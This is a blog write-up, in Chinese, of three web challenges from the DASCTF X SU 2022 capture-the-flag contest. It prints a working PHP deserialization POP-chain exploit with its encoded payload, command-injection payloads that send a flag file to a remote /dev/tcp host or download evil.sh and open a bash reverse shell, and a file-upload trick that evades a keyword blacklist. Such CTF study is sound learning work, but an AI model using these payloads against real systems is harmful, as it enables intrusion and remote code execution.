DASCTF X SU 2022 writeup - ek1ng's Blog

DASCTF X SU 2022 writeup

web

我是一个也没出,ezpop是只差了一点点然后calc确实没啥思路,赛后补一下题

ezpop

这题是当时死活打不通然后赛后补题做出来了,补题过程中遇到了一些有趣的小问题,首先先看一下题目,题目是个非常基础的php反序列化题目,直接能够让用户操控反序列化的参数,找一条POP链完成利用就可以啦,下面是题目给出的源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

根据源代码我当时是找了这样一条反序列化的POP链

fin __destruct -> what __toString() -> mix run() -> crow __invoke -> fin __call -> mix get_flag -> crow eval(#\nsystem(‘cat *’);)

下面是四个魔法方法

__invoke() 当尝试以调用函数的方式调用一个对象时

__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__call() 在对象中调用一个不可访问方法时,会被调用。

__toString() 方法用于一个类被当成字符串时应怎样回应

下面是我最初的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php

class crow
{
public $v1;
public $v2;

// public function __construct()
// {
// $this->v1 = new fin();
// }

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;
// public function __construct()
// {
// $this->f1 = new what();
// }

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}

class what
{
public $a;

// public function __construct()
// {
// $this->a = new mix();
// }

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1 ;

// public function __construct()
// {
// $this->m1 = new crow();
// }

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}
}

$cmd = new fin();
$cmd-> f1 = new what();
$cmd-> f1 -> a = new mix();
$cmd-> f1 -> a -> m1 = new crow();
$cmd-> f1 -> a -> m1 -> v1 = new fin();
$cmd-> f1 -> a -> m1 -> v1 -> f1 = new mix();
$cmd-> f1 -> a -> m1 -> v1 -> f1 ->m1 = '/n cat flag';
echo serialize($cmd);

为什么burpsuite能通hackbar不能通?

fiddler能通的payload

cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

hackbar我用这个payload

cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+%2A%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

结果实际请求时候的payload

cmd=O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0Asystem%28%27cat+*%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

仔细看可以看出一些细微的差别,system前面变成了%0D%0A,多了个%0D,%0D 是CR hackbar帮我补了回车,因此打不通,hackbar使用raw的方式是不会补回车的,也可以成功打通,在群里和师傅们交流后发现,hackbar出错的原理的话应该是windows的换行符是0d0a,linux的换行符是0a,网站运行在linux机器上所以自然是把0a做成换行符,但是hackbar却补了0d0a,导致出错。

我的payload问题出在哪了?

没有url编码,url编码后直接就能出,只需要添加一个urlencode

image-20220326220630847

以下是能打通的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php

class crow
{
public $v1;
public $v2;

// public function __construct()
// {
// $this->v1 = new fin();
// }

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;
// public function __construct()
// {
// $this->f1 = new what();
// }

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}

class what
{
public $a;

// public function __construct()
// {
// $this->a = new mix();
// }

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1 ;

// public function __construct()
// {
// $this->m1 = new crow();
// }

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}
}

$cmd = new fin();
$cmd-> f1 = new what();
$cmd-> f1 -> a = new mix();
$cmd-> f1 -> a -> m1 = new crow();
$cmd-> f1 -> a -> m1 -> v1 = new fin();
$cmd-> f1 -> a -> m1 -> v1 -> f1 = new mix();
$cmd-> f1 -> a -> m1 -> v1 -> f1 ->m1 = '/n cat flag';
echo urlencode(serialize($cmd));

为什么要url编码才能打?

Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符。简单来说,就是有些字符不允许出现在URL中,因此要进行编码。原payload中/n大括号什么的都不行,所以打不通。

__destruct报错为什么不用管?

mix的参数不能又是对象又可以当字符串进行字符串拼接,因此报错是必然的,但是__destruct报错不用管,因为这时候已经echo了内容然后才触发报错。

calc

题目的关键点是发现传入的num参数会先被eval执行然后又被os.system执行,想办法输入eval不报错但是可以在shell中运行的代码是解题的关键思路

解法一

来自0rays nazo师傅的思路

1
2
3
4
5
6
7
8
9
10
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-
%H%M%S",time.localtime()),ip,num)
print(log)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)

空格的过滤需要用/t(%09)和/n(%0A)绕过

在自己的服务器上nc -n -lvvp port,再用payload打就可以先ls看一下flag文件名字然后再打印flag出来。

payload:%27%27%271%27%0Acat%09/Th1s*%09%3E%09/dev/tcp/x.x.x.x/port%0A%23%273%27%27%27

实际执行

1
2
3
4
echo {0} {1} '''1'
cat /Th1s* > /dev/tcp/x.x.x.x/port
#'3'''> ./tmp/log.txt

eval的时候 “‘ ‘“ 三引号 里面的内容当字符串,不报错

os.system的时候#注释后面内容 cat这个语句被执行

image-20220326223131140

image-20220326223259199

解法二

来自协会summer师傅的思路

num = “1+1#`wget\thttp://x.x.x.x:60056/evil.sh\`"
num = “1+1#`bash\tevil.sh`“

evi.sh:bash -i >& /dev/tcp/ip/port 0>&1

这里#在python中确实会注释后面的内容,eval不会报错因为反引号内容被注释了,但是在os.system里面由于#在双引号中,反引号里面的内容在shell里代码会被执行,#只会被当作一个字符,这点非常神奇,学习了两位师傅的解法后发现都用了#去绕过,但是具体的利用方式也不一样,非常巧妙,学到了很多。

upgdstore

参考:https://erroratao.github.io/writeup/DASCTF2022xSU/

是个文件上传的题目但是没有给出源码,上传一个<?php phpinfo();?>内容的php文件,发现上传成功并且给出了访问路径

image-20220327134842381

看一看phpinfo能不能拿到源码

image-20220327135926344

看了看发现有很多很多disable_function,非常吓人,

可以使用show_source读取index.php的源码,然后用base64编码绕过waf对此函数的过滤,所以我们传入<?php base64_decode("c2hvd19zb3VyY2U=")('../index.php');?>内容的文件,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}


return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;


if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

我们可以用url编码一句话木马来连shell

<?php base64_decode("c2hvd19zb3VyY2U=")('../index.php');?>

但是直接连shell貌似不行,需要先bypass disable_functions

看别的师傅的wp还没复现出来,卡住了

评论